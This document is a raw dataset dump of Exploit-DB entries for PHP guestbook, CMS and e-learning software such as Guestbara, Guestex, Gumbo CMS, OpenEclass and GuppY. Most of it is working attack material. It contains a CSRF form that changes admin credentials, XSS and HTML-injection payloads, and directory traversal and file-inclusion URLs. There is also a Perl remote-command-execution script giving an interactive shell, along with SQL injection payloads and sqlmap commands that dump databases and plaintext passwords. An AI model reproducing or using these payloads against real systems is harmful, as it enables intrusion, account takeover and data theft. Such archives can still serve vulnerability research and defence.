deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3506
Description: Guestbara 1.2 - Change Admin Login and Password
Type: webapps
Platform: php
Date: 2007-03-18
Author: Kacper

Exploit:
<html>
<title>Guestbara &lt;= 1.2 Change admin login & password exploit by Kacper</title>
<table border=0 cellspacing=0 cellpadding=0 align='center'>

<form method='post' action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok'><tr>

<tr><td width=200>Admin Email</td><td><input type='text' name='admin_mail' class='textfield' value=''></td></tr>
<tr><td width=200>Admin Name</td><td><input type='text' name='login' class='textfield' value=''></td></tr>
<tr><td width=200>Admin Pass</td><td><input type='password' name='pass' class='textfield' value=''></td></tr>
<tr><td  colspan=2 align=center>
  <p>
    <input type='submit' name='submit' value='Zachowaj'>
  </p>
  <p>by Kacper  </p>
  <p>for</p>
  <p><a href="http://www.rahim.webd.pl/" target="_blank">DEVIL TEAM </a></p></td></tr>
</form></table>
<p>&nbsp;</p>
<p align="center">script download: http://www.hotscripts.pl/produkt-3051.html</p>
<p align="center">Greetz @ll DEVIL TEAM </p>
</html>

# milw0rm.com [2007-03-18]
Exploit-DB #14648
Description: Guestbook Script PHP - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-08-15
Author: AnTi SeCuRe

Exploit:
=======================================================================
# GuestBook Script PHP (XSS/HTML Injection) Multiple Vulnerabilities
=======================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#################################
#      _____ __    __  /_  __/  #
#     / ___/ \ \  / /   / /     #
#    (__  )   \ \/ /   / /      #
#   /____/     \__/   /_/       #
#################################
# Vendor: http://www.guestbookscripts.com/demo_guestbook.php
# Date: 2010-08-15
# Author: AnTi SeCuRe
# Greets: Sa-ViRuS.CoM , RENO , Dr.php , ! BaD BoY ! , Gov.HaCker , Dr.$audi all Sa-ViRuS.CoM Members ..
# Contact: AnTi-SeCuRe@HoTMaiL.CoM
# Home: WwW.Sa-ViRuS.CoM
########################################################################

[~]Note : Its not free ,, Its By 17,99
[~]You Can Buy It From : http://www.guestbookscripts.com/buy_guestbook.php


[~] HTML Injection Vuln . : http://server/demo_guestbook.php?act=new
Add A New Comment And The exploit is in Name :)
<p align="center"><b>Sa-ViRuS.CoM</b></p>



[~] Xss Vuln. : http://server/demo_guestbook.php?act=new
Add A New Comment And The exploit is in Name :)
<script>alert('AnTi SeCuRe - Sa-ViRuS.CoM')</script>



Thx To : Allah
Exploit-DB #14839
Description: GuestBookPlus - HTML Injection / Bypass Comments Limit
Type: webapps
Platform: php
Date: 2010-08-29
Author: MiND C0re

Exploit:
=======================================================================
#                         In the name of ALLAH !                      #
=======================================================================
# GuestBookPlus Script PHP (HTML Injection) Vuln.
=======================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#################################
#      _____ __    __  /_  __/  #
#     / ___/ \ \  / /   / /     #
#    (__  )   \ \/ /   / /      #
#   /____/     \__/   /_/       #
#################################
########################################################################
# Name: GuestBookPlus Script PHP (HTML Injection) 
# Vendor: http://websitekit.us/GBP_demo.html
# Date: 2010-08-15
# Author: MiND
# Greets: Sa-ViRuS.CoM , RENO , Dr.php , ! BaD BoY ! , Gov.HaCker , Anti-Secure , Dr.$audi all Sa-ViRuS.CoM Members ..
# Contact: f1_1nnym1nd@HoTMaiL.CoM
# Home: WwW.Sa-ViRuS.CoM
########################################################################

[~]Note : Its not free ,, Its by 28 $
[~]You Can Buy It From : http://websitekit.us/guest_book_plus.html



[~] HTML Injection Vuln . : Add a new comment using sign button
Put on the name & body of your comment any html code like: 
<meta http-equiv="refresh" content="0;url=http://sa-virus.com/" />               <==== ( thats redirecting to sa-virus.com ) 

[~] Another note : You can bypass the limit of comments per day in this guestbook script 
By deleting the saved cookie in your computer ;)
Exploit-DB #8431
Description: GuestCal 2.1 - 'index.php?lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-14
Author: SirGod

Exploit:
##################################################################################
[+] GuestCal 2.1 (index.php lang) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
##################################################################################

[+] Download script : http://guestcal.com/de/download

[+] Local File Inclusion

 - PoC :

 http://127.0.0.1/index.php?year=2009&object=1&lang=../../../../../BOOTSECT.BAK%00

##################################################################################

# milw0rm.com [2009-04-14]
Exploit-DB #1892
Description: Guestex Guestbook 1.00 - 'email' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-06-08
Author: K-sPecial

Exploit:
## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
##  1.00 (06/07/2006) - GUESTEX-exec.pl created
## 
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it 
##  handles it's 'email' parameter. $form{'email'} is used when openning a pipe to 
##  sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'} 
##  is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can 
##  contain ports (host:port) and you CAN specify a single command to execute via the 
##  commandline, although if you do not you will be given a shell like interface to 
##  repeatedly enter commands.
#######################################################################################
use IO::Socket;
use strict;

my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";

if (!($host && $location)) { 
	die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
}

$port = $1  if ($host =~ m/:(\d+)/);

while (1) { 
	my $switch = 0;
	if (!($ARGV[2])) {
		print 'guestex-shell$ ';
		chomp($command = <STDIN>);
	}

	my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
	$cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;

	my $POST = "POST $location HTTP/1.1\r\n"  		             .
	           "Host: $host\r\n"                                         .
		   "User-Agent: mozilla\r\n"                                 .
	           "Content-type: application/x-www-form-urlencoded\r\n"     .
		   "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" . 
		   "Referer: $host\r\n\r\n";
	
	$POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
	
	$sock = IO::Socket::INET->new('PeerAddr' => "$host",
        	                      'PeerPort' => $port,
                	              'Proto'    => 'tcp',
				      'Type'     => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");

	$sock->autoflush();

	print $sock "$POST";

	#$switch = 1; # used for debugging if you think 'echo' might not be working, etc
	 
	while (my $line = <$sock>) {
		if ($line =~ m/^\-\-1337\ start\-\-$/) {
			$switch = 1;
			next;
		}
		if ($line =~ m/^\-\-1337\ end\-\-$/) {
			close($sock);
			last;
		}
		print $line if $switch;
	}
	exit if $ARGV[2];
}

# milw0rm.com [2006-06-08]
Exploit-DB #45837
Description: Gumbo CMS 0.99 - SQL Injection
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Gumbo CMS 0.99 - SQL Injection
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://gumbo-cms.net/
# Software Link: https://netix.dl.sourceforge.net/project/gumbo-cms/0.99%20beta/gumbo-0.99beta.zip
# Version: 0.99
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Users...
# http://localhost/[PATH]/settings/en
# 
POST /[PATH]/settings/en HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: general_purpose=791f2pg746e79031nl9e69kjp2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
language=fr2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 23:49:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 710
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #48106
Description: GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-24
Author: emaragkos

Exploit:
# Exploit Title: GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection
# Google Dork: intext:"© GUnet 2003-2007" 	
# Date: 2019-11-03
# Exploit Author: emaragkos 
# Vendor Homepage: https://www.openeclass.org/
# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
# Version: 1.7.3 (2007)
# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38)
# CVE : -
# GUnet OpenEclass <= 1.7.3 E-learning platform - Unauthenticated Blind SQL Injection

You can confirm applications' version by visiting https://URL/info/about.php
Versions prior to 1.7.3 might also by vulnerable but were not tested.

Source code:
http://download.openeclass.org/files/1.7/eclass-1.7.3.zip
http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz

Setup instructions:
http://download.openeclass.org/files/docs/1.7/Install.pdf

Changelog:
https://download.openeclass.org/files/docs/1.7/CHANGES.txt

Manual:
https://download.openeclass.org/files/docs/1.7/eClass.pdf

############################################################################

Vulnerability: Post parameter (uname) is vulnerable to time-based blind SQLi 

############################################################################

Steps to reproduce:

1) Visit vulnerable webapp and confirm version is <= 1.7.3 https://URL/info/about.php

2) Configure Burp proxy to intecrept and to capture a login sequence with invalid username/password. (e.g. username:test password:test)
Your request should look like this:
POST / HTTP/1.1
Host: 192.168.1.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.8/
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: PHPSESSID=d6gupmerbr0k84st4d7qv9jsl1
Upgrade-Insecure-Requests: 1
uname=test&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2

3) Save intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin)

4) Load the file to SQLMap  with the use of -r parameter
sqlmap -r eclasstestlogin --level=5 --risk=3 -v
SQLMap will find the following payload
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=test' AND (SELECT 5551 FROM (SELECT(SLEEP(5)))IZsi)-- aLyD&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

5) Exploit it!
sqlmap -r eclasstestlogin -v --current-db
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] --dump
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] -T user -C password --dump

6) Bonus! Passwords are stored in plaintext
Exploit-DB #23219
Description: GuppY 2.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-10-05
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8768/info

GuppY is reported to be prone to a cross-site scripting vulnerability due to insufficient sanitization of user-supplied input. The problem exists in the postguest module of the software. This issue may allow a remote attacker to execute HTML or script code in user's browser.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks may also be possible. 

- [l]" style="background:url('javascript:[SCRIPT]');visibility:hidden;[/l]

- [l][l] style=list-style:url(javascript:[SCRIPT]) truc=[/l][/l]

- With a cookie named "GuppYUser" and with the value :
fr||[NICK]||[MAIL]||LR||||on||<br
style="background:url('javascript:[SCRIPT]')">, if you send a message
(forum, guestbook,...) the javascript is executed.
Exploit-DB #23192
Description: GuppY 2.4 - HTML Injection
Type: webapps
Platform: php
Date: 2003-09-29
Author: David Suzanne

Exploit:
source: https://www.securityfocus.com/bid/8717/info

It has been reported that one of the scripts included with GuppY is vulnerable to an HTML injection attack. The script, "postguest.php", does not perform input validation to prevent the inclusion of HTML/script content in messages posted to the portal by remote clients. The flaw is present in the implementation of the "[c]" tag, which can be used by users posting messages in the forum or in the guestbook components of GuppY portals.

The vendor is aware of the vulnerability and has released an updated version, 2,4p1, that eliminates the issue. 

[c=expression(alert('unsecure'))]texte[/c]
Exploit-DB #23220
Description: GuppY 2.4 - Remote File Access
Type: webapps
Platform: php
Date: 2003-10-05
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8769/info

GuppY is prone to an issue that could allow a remote attacker to read or write to files on the vulnerable server.

This issue presents itself in the tinymsg.php component of the software. The attacker could only access files to which the webserver has access. 

- http://[target]/tinymsg.php?action=2&from=Youpi!||Great
!||rose||10000&msg=1&to=../poll
will add a possibility to the current poll : "Youpi!" with the pink color
("rose" in french) and a score of 10000.

- http://[target]//tinymsg.php?action=2&to=../../tadaam.html%00&from=youpi1&msg=youpi2
will write into http://[target]/tadaam.html the line :
0\nyoupi1||[DATE+HEURE]||youpi2

- The cookie named "GuppYUser" and with the value :
fr||../../admin/mdp.php%00||[MAIL]||LR||||on||1
sent to the page : http://[target]/tinymsg.php?action=3 will show the
source of the file http://[target]/admin/mdp.php (containing the md5-crypted
admin password).
Exploit-DB #26640
Description: GuppY 4.5 - 'archbatch.php?lng' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-28
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15610/info
 
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
 
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
 
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/archbatch.php?lng=../../../../../../../../../../../boot.ini%00
Exploit-DB #26641
Description: GuppY 4.5 - 'dbbatch.php?lng' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-28
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15610/info
  
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
  
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
  
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../

http://www.example.com/[path_to_guppy]/admin/inc/dbbatch.php?lng=../../../../../../../../../../../boot.ini%00
Exploit-DB #26639
Description: GuppY 4.5 - 'editorTypetool.php?meskin' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-28
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15610/info

GuppY is affected by multiple local file include and information disclosure vulnerabilities.

An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.

GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/editorTypetool.php?cmd=DIR&meskin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
Exploit-DB #26642
Description: GuppY 4.5 - 'nwlmail.php?lng' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-28
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15610/info
   
GuppY is affected by multiple local file include and information disclosure vulnerabilities.
   
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.
   
It should be noted that these issues may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences and NULL characters to disclose arbitrary files.
   
GuppY 4.5.9 and prior versions are vulnerable. 

http://www.example.com/[path_to_guppy]/admin/inc/nwlmail.php?lng=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
Exploit-DB #12484
Description: GuppY 4.5.18 - Blind SQL Injection / XPath Injection
Type: webapps
Platform: php
Date: 2010-05-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : GuppY v4.5.18 Blind SQL/XPath injection Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com
| # Dork     : Site créé avec GuppY v4.5.18 ©
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : SQL    
| # Download : http://www.toocharger.com/telecharger/scripts/guppy/3717.htm
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - http://127.0.0.1/guppy/newsletter.php?lng=fr+and[PII_REDACTED]-60=0+--+

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
-----------------------------------------------------------------------------------------------------------------------
Exploit-DB #35525
Description: GuppY 4.6.14 - 'lng' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-03-30
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/47086/info

GuppY is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

GuppY 4.6.14 is vulnerable; other versions may also be affected. 

http://www.example.com/links.php?lng=fr [sql Injection]
http://www.example.com/guestbk.php?lng=fr [sql Injection]
http://www.example.com/articles.php?pg=43&lng=fr [ sql Injection]